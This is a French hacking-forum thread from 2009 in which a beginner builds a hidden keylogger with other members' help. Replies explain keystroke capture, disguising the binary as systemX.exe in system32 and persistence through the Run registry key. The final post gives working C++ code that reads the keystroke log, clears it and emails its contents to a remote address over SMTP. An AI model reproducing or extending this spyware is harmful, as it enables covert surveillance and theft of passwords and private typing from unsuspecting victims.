logo

Knowledge Is Power

 
 

- Reinit des nouveaux posts -

- Recherche -

Messages Privés - Derniers posts
S'enregistrer - Login - Liste des membres
Vous logger : Login Pass

Programmation - Langages de Programmation >> C / C++ Création de keylogger. Newtopic | Reply
poster txt
shiva31
Inscrit le 20-05-2009
Posté le 20-05-2009 21:43

Bonjour,

Je suis nouveau sur ce forum et je le trouve vraiment très complet en enrichissant donc déjà vraiment bravo a toute votre communauté.

Actuellement j'apprends le c++ sur le site du zéro et je compte par la suite approfondir avec le K&R.

Actuellement mon niveau n'est vraiment pas très bon mais j'ai comme projet de crée un keylogger mais je ne voie pas trop par quoi commencer.

Si quelqu'un pourrait me donner quelque exemple de fonction qui peuvent me servir ou m'indiquer un site qui pourrait m'aider?

le keylogger dois être invisible et cacher dans la liste des processus , qu'il soit ou non détecter par un anti-virus ce n'est pas grave ( car je ne souhaite pas faire sa avec de mauvais intention. ) et il dois tous simplement enregistrer ce qui est taper dans un fichier texte.

pour enregistrer dans un fichier texte je sais comment faire mais pour récupéré ce que je tape dans une autre fenêtre je ne voie pas comment faire.

Merci d'avance

Shiva31
profil | edit | quote
Sol
Inscrit le 26-07-2008
Avatar
Posté le 20-05-2009 21:54

Aucune idée pour ma part mais...
Quote:
le keylogger dois être invisible et cacher dans la liste des processus



Alors tu devra en faire un démon (service d'arrière plan) je bosse entre autres la dessus si j'arrive à maitriser cette foutue API win32 je te fais signe
profil | edit | quote
hostille
Inscrit le 01-02-2009
Posté le 21-05-2009 16:01

salut

Bon déjà avant de commencer avec les keyloggers il faut bien connaitre le langage il faut pas bruler les étapes.c'est un conseil aprés tu fais comme tu veu.

Moi j'en n'ai crée un en C mais bon je peux déjà te donner quelque info.

Pour commencer il faut que tu récupéré les touches du clavier
pour cela renseigne toi sur GetKeyState.

il faut que tu copie le code de ton fichier dans un .exe qui ce situera par exemple dans c:\windows\system32
pour cela renseigne toi sur GetWindowsDirectory, GetModuleFileName

et tu doit placé une clé de registre pour qu'il redémarre au démarrage du pc.
RegOpenKeyEx, RegSetValueEx, RegCloseKey.

clé de registre:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

après pour récupéré dans une fenêtre cela dépend de ce que tu fais soit tu fais un keylogger client/serveur dans ce cas tu pourra avoir les touches frapper en direct plus lire le fichier quand tu n'est pas connecter au serveur. ou alors tu fais un keylogger qui enregistre tous dans un .txt par exemple et qui t'envoie tous par e-mail à une heure precise par exemple.


je te donne quelque source:

http://www.cppfrance.com/codes/KEYLOGGER-MAIL-ENVOIE-TOUCHES-FRAPPEES-CLAVIER-MAIL_39796.aspx

http://www.cppfrance.com/codes/KEYLOGGER-SERVEUR-CLIENT-MULTI-THREAD_44674.aspx

http://www.cppfrance.com/k-code-keylogger.aspx


a++
profil | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 21-05-2009 17:29

j'aimerais un peut plus comprendre.

"il faut que tu copie le code de ton fichier dans un .exe qui ce situera par exemple dans c:\windows\system32
pour cela renseigne toi sur GetWindowsDirectory, GetModuleFileName "

J'aimerais comprendre a quoi cela peut servir de copier le fichier .exe dans system32?

En tous cas merci pour toute ses information et les lien, cela va beaucoup m'aider.
profil | edit | quote
hostille
Inscrit le 01-02-2009
Posté le 21-05-2009 17:52

donc tu à ton keylogger en .exe comme n'importe quel programme.Tu va cliquer deçu il va ce mettre dans les processus et il va fonctionner normalement.mais seulement quand tu va arrêter ton pc eh ben le keylogger sera plus actif.donc le but ces qu'il redémarre.pour cela il faut la clé de registre qui va au démarrage aller chercher le programme et l'exécuter mais seulement il lui faut bien un .exe pour qu'il démarre.donc c'est pour cela que tu le copie dans un fichier.enfaite le but c'est de faire une copie de ton keylogger.exe et de le mettre dans un autre fichier.

imaginon que ton keylogger s'apelle
keylogger.exe( il se trouve sur le bureau) --> tu clique deçu --> il ce copie et ce place dans c:\windows\system32 sous le nom par exemple de systemX.exe

après ta plus cas faire la clé de registre qui exécutera systemX.exe
profil | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 21-05-2009 22:12

a d'accord.

J'ai passer toute la journée a chercher des information sur

GetKeyState()

mais je n'est rien trouver. je ne comprend pas trop comment cela marche , j'ai comprit que cela était un api windows mais je ne comprend rien je n'est pas encore vu les API.

j'ai entendu aussi parler de :

GetAsyncKeyState()

il y a une différence?

si quelqu'un pourrait m'expliquer comment fonctionne GetKeyState() avec un petit exemple sa serait gentils.


Je sais que je demande beaucoup mais j'ai passer la journée a chercher et je n'est rien trouver qui m'explique comment cela marche et comment l'utiliser.
profil | edit | quote
jehv
Inscrit le 29-08-2006
Posté le 21-05-2009 22:36

et si t'essayer google des fois pour voir
http://msdn.microsoft.com/en-us/library/ms646301(VS.85).aspx

http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx
_________________________
it's all about life
profil | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 22-05-2009 12:42

tkt pas google j'ai essayer ^^

je suis tomber sur plein de site mais le problème ses que je ne comprend pas l'anglais.
profil | edit | quote
bibou1324
Inscrit le 06-03-2005
Posté le 22-05-2009 13:27

Met toi à l'anglais, tout paraitra plus simple après.
Pour GetKeyState, il existe des explications en français, faut juste googliser un peu :

Quote:
Declare Function GetKeyState Lib "user32" ( _
ByVal nVirtKey As Long) As Integer
La fonction GetKeyState retourne le status de la touche virtuelle (virtual-key code) spécifiée. Autrement dit, cette fonction permet de savoir si une touche est enfoncée (toutes les touches du clavier et les boutons de la souris).
nVirtKey est la touche à tester (voir le tableau de constantes ci-dessous).
La fonction retourne 0 ou 1 lorsque la touche est inactive sinon -128 ou -127 lorsque la touche est enfoncée.


http://docvb.free.fr/apidetail.php?idapi=160
Pour le reste, hostille t'a déjà donné toutes les infos nécessaires.

[ Ce Message a été édité par: bibou1324 le 2009-05-22 13:27 ]
profil | Website | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 22-05-2009 13:51

Je vous remercie beaucoup a tous. maintenant je pense pouvoir me débrouiller tous seul. encore merci
profil | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 13-08-2009 15:16

J'ai donc crée le keylogger il marche très bien mais maintenant j'aimerais qu'il puisse envoyer le contenue d'un fichier .txt par email j'ai fait tout google et je n'est rien trouver qui marche.

Est-ce que quelqu'un pourrait m'aider svp?
profil | edit | quote
moustick
Inscrit le 15-08-2009
Posté le 15-08-2009 19:53

Quote:
Pour commencer il faut que tu récupéré les touches du clavier
pour cela renseigne toi sur GetKeyState.



Arrrrg ! S'il vous plais , quand on ne sait pas on évite de parler , c'est à cause de gens comme vous que les débutants sont mis sur de "fausses" routes ... En C (sous windows en tout cas!), un keylogger est fabriqué à l'aide d'un hook , pour ce faire il te faudra créer une dll (apparemment on peut faire sans mais bon , tout dépend de tes besoins) . Renseignes-toi sur le net , tient , voici des liens pour commencer :

http://msdn.microsoft.com/en-us/library/ms644959%28VS.85%29.aspx

et celui-ci concerne le C++ mais il est facilement adaptable en C , de plus , il te donnera une idée de la manière dont il faut s'y prendre :


http://tcharles.developpez.com/simul/#hooks


Il te faut savoir que créer un keylogger à l'aide de fonctions comme GetKeyState nécessitera une boucle ("infinie") ce qui pompera pas mal de ressources .


Quote:
j'aimerais qu'il puisse envoyer le contenue d'un fichier .txt par email j'ai fait tout google et je n'est rien trouver qui marche.




Huuum , il te faudra utiliser les sockets avec le protocole SMTP . Voici encore deux liens qui pourront , je l'espère t'aider :

http://fr.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol

http://www.developpez.net/forums/d83363/c-cpp/outils-c-cpp-edi-compilateurs-etc/dev-cpp/envoi-demail-smtp-cpp-dev-cpp/

Voilà , bonne chance .

[ Ce Message a été édité par: moustick le 2009-08-15 20:00 ]
profil | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 15-08-2009 20:17

Merci moustik pour les lien.

J'ai effectivement crée un hook pour le keylogger.

actuellement il est capable de d'enregistrer les touche taper dans un fichier txt, et d'écrire dans le registre pour un démarrage automatique.

Il ne me manque plus que la fonction mail ou FTP pour transférer le fichier et après il sera terminer.

J'etait déjà aller sur les sites que tu ma donner mais cela ne ma pas aider car la fonction que Voider donne et je pense pour linux car il y a un problème avec les include

Code:

include <sys/types.h>
include <sys/socket.h>
include <netinet/in.h>
include <arpa/inet.h>
include <netdb.h>

include <stdio.h>
include <string.h>
include <unistd.h>



J'ai déjà fait tous google a la recherche d'une fonction ftp ou émail et cela na rien donner.

est-ce que il serait possible que quelqu'un me montre un exemple fonctionnel que je puisse prendre exemple dessus car jusqu'à présent aucun ne marche.
profil | edit | quote
moustick
Inscrit le 15-08-2009
Posté le 16-08-2009 02:15

Dans ce cas , tu peux faire des tests d'envoi de mail de ton ordi (à partir de outlook par exemple) et observer les paquets à partir de wireshark ...
profil | edit | quote
moustick
Inscrit le 15-08-2009
Posté le 16-08-2009 02:22

double post ...

[ Ce Message a été édité par: moustick le 2009-08-16 02:22 ]
profil | edit | quote
bibou1324
Inscrit le 06-03-2005
Posté le 18-08-2009 21:25

Quote:
Arrrrg ! S'il vous plais , quand on ne sait pas on évite de parler , c'est à cause de gens comme vous que les débutants sont mis sur de "fausses" routes ... En C (sous windows en tout cas!), un keylogger est fabriqué à l'aide d'un hook , pour ce faire il te faudra créer une dll


Pas d'accord du tout. Mon keylogger perso marche très bien, et il n'utilise aucune dll de m$$$. Ce qui le rend à mon avis beaucoup plus léger. Quand aux ressources processeur, ben non c'est pas si bourrin que ça, ça ne décolle pas de 0% du côté du task manager. Suffit de faire des pauses ...

Je reconnais qu'un hook est largement plus propre côté programmation, mais c'est aussi se compliquer la vie pour pas grand chose. Moi j'ai fait mon ptit prog en moins d'une heure, et à mon avis ça valait pas la peine de s'attarder plus longtemps sur un truc que j'utiliserai probablement jamais.

Quand à MSDN, en première ligne c'est marqué :
Quote:
About Hooks Hooks tend to slow down the system because they increase the amount of processing the system must perform for each message. You should install a hook only when necessary, and remove it as soon as possible.



"On ne tue pas un moustique avec un canon"
Confucius

[ Ce Message a été édité par: bibou1324 le 2009-08-18 21:27 ]
profil | Website | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 21-08-2009 21:34

STOP ^^ temps mort

Le principal est que cela marche non?

J'ai réussi pour la fonction mail ( avec beaucoup de difficulté mais bon )

Il me reste plus qu'une dernière choses a faire et il sera terminer.

Actuellement la fonction "KeyLogger" est dans un thread et elle marche trés bien.

Le problème et qu'il me faut appeler la fonction mail quelque part sans empêcher le thread de se lancer et pas après car elle ne se lancera pas.

donc il me faut un email toute les heure donc

while(1)
{
email();
Sleep(600000);
}

mais si je la met avant vu que cela est une boucle infinie sale empêche le thread de se lancer et si je la met après elle ne se lance pas car il y a pour le thread
WaitForSingleObject(hThread,INFINITE);

donc j'ai penser crée un autre thread avec la fonction email mais la le problème c que le programme se lance et sarrette instantanément

j'ai fait comme sur ce lien:

http://forum.hardware.fr/hfr/Programmation/C/windows-comment-simultanement-sujet_41153_1.htm


Quelqu'un aurait t'il une idée?

( je sais que je dois être chian avec toute mes question mais il n'y a que sur se forum que les gens m'aide)

merci d'avance

shiva31
profil | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 21-08-2009 22:50

Bon je ne peut pas editer sa déconne.
Je me suis tromper ce n'est pas sa le probléme.

En gros sur le fichier texte il me prend une ligne sur deux.

donc ligne 1,3,5....

et ce que je tape pendant le sleep du thread email enregistre bien dans le fichier mais au prochain d'envoi d'email il ne le vois pas je suis obliger de restart le programme pour qu'il le voie
profil | edit | quote
casskroot
Inscrit le 01-11-2003
Posté le 23-08-2009 02:54

Quote:
et ce que je tape pendant le sleep du thread email enregistre bien dans le fichier mais au prochain d'envoi d'email il ne le vois pas je suis obliger de restart le programme pour qu'il le voie

Quand tu ouvres/crées ton fichier, tu utilises quel type d'accès ?
_________________________

profil | mail | edit | quote
shiva31
Inscrit le 20-05-2009
Posté le 23-08-2009 15:08

Je vous marque directement ma fonction email je l'ouvre donc en "r"

Code:
#define TAILLE_MAX 300000 // Tableau de taille 1000

#include <winsock.h>
#include <iostream>
#include <string>
#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
#include <cstdio>
#include <sstream>
#include <fstream>


#pragma comment(lib,"ws2_32.lib")
SOCKET to_server_socket = 0;
char * server_name;
int port = 25;
char destinataire[120] = "RCPT To: <";
char sender[120] = "MAIL From: <";
char * exp = "";
char * dest = "";
char * sujet = "" ;
char * message = "";
char buffer[15] = "";
char body[300000] = "Subject: ";



void bcopy( void * source, void * destination, int size )
{
char * src = ( char * ) source;
char * dst = ( char * ) destination;

for( int i=0; i<size; i++ )
dst[i] = src[i];
}

void bzero( void * destination, int size )
{
char * dst = ( char * ) destination;

for( int i=0; i<size; i++ )
dst[i] = 0x00;
}

void Process( char * buffer )
{
Sleep( 1000 );

int size = strlen( buffer );
int retVal = send( to_server_socket, buffer, size, 0 );

char buf[ 1024 ];
buf[0] = 0x00;
while( !buf[0] )
int yeah = recv( to_server_socket, buf, 1024, 0 );

}

int email()
{
std::string contenue = "";
FILE* fichier = NULL;
char chaine[TAILLE_MAX] = "";

fichier = fopen("C:\\readme.txt", "r");

if (fichier != NULL)
{
while (fgets(chaine, TAILLE_MAX, fichier) != NULL) // On lit le fichier tant qu'on ne reçoit pas d'erreur (NULL)
{
contenue += chaine;
}

fclose(fichier);
}



const char *CstStr2 = contenue.c_str ();

if (contenue == "")
{
return 0;
}

else
{
FILE* fichier2 = NULL;
fichier2 = fopen("C:\\readme.txt", "w+" );
fclose(fichier2);
}


if (strcmp(CstStr2,buffer) == 0) {
exit( -1 );
}
int not2 = 0;
unsigned long ioctl_blocking = 1;

/*cout<<"Entrez le nom du serveur smtp ou son ip\n";
cin>>server_name;
cout<<"Entrez l'adresse email de l'expediteur\n";
cin>>exp;
cout<<"\nEntrez l'adresse email du destinataire\n";
cin>>dest;
cout<<"\nEntrez le sujet du mail\n";
cin>>sujet;
cout<<"\nEntrez votre message\n";
cin>>message;*/

server_name = "smtp.orange.fr";
exp = "***";
dest = "***";
sujet = "***";

strcat(sender,exp);
strcat(sender,">\r\n");
strcat(destinataire,dest);
strcat(destinataire,">\r\n");
strcat(body,sujet);
strcat(body," \r\n\r\n ");
strcat(body,CstStr2);
strcat(body," \r\n.\r\n");

WSADATA wsaData;
if( int err = WSAStartup( 0x0101, &wsaData ) )
{

exit( -1 );
}


struct sockaddr_in serverSockAddr; // addresse de la socket
struct hostent * serverHostEnt; // description du host serveur
long hostAddr; // addr du serveur

bzero( &serverSockAddr, sizeof( serverSockAddr ) ); // initialise a zero serverSockAddr
// converti l'adresse ip 9.100.1.1 en entier long
hostAddr = inet_addr( server_name );

if( ( long ) hostAddr != ( long ) -1 )
bcopy( &hostAddr, &serverSockAddr.sin_addr, sizeof( hostAddr ) );
else // si on a donne un nom
{
serverHostEnt = gethostbyname( server_name );
if ( serverHostEnt == NULL )
{

exit( 0 );
}
bcopy( serverHostEnt->h_addr, &serverSockAddr.sin_addr, serverHostEnt->h_length );
}

serverSockAddr.sin_port = htons( port ); // host to network port
serverSockAddr.sin_family = AF_INET; // AF_*** : INET=internet
// creation de la socket

to_server_socket = socket( AF_INET, SOCK_STREAM, 0 );
if ( to_server_socket < 0)
{

exit( 0 );
}

setsockopt(to_server_socket, SOL_SOCKET, SO_DONTLINGER, (char *) ¬2, sizeof(not2));


// requete de connexion
if( connect( to_server_socket, ( struct sockaddr * ) &serverSockAddr,
sizeof( serverSockAddr ) ) < 0 )
{

exit( 0 );
}

ioctlsocket ( to_server_socket, FIONBIO, &ioctl_blocking );

char buf[ 1024 ];
buf[0] = 0x00;
while( !buf[0] )
int yeah = recv( to_server_socket, buf, 1024, 0 );


Process( "EHLO Toto\r\n" );
Process( sender ); // mail de l'expediteur
Process( destinataire ); // mail du destinataire
Process( "DATA\r\n" );
Process( body );
Process( "QUIT\r\n" );
/* fermeture de la connection */
shutdown( to_server_socket, 2 );
contenue.erase();
closesocket( to_server_socket );
return 0;
}


profil | edit | quote
Newtopic | Reply

Online : Brianhew, Jameschods, KennethAwara, KennithPap et 105 Guests


Retour Index NewFFR Repository : http://taz.newffr.com
Cagades à Stick : http://alcane.newffr.com
Forum HTML et Archive -> ici
ForumFR Sql/Xml (2006/04) (SF pas à jour du tout...) - Alive since 2001 Newffr.com
Pour toute plainte ou problème -> Contacter Borax, Hyatus, Tweakie ou Stick par message privé (ou Gueulez sur le forum :) )
Retour haut de page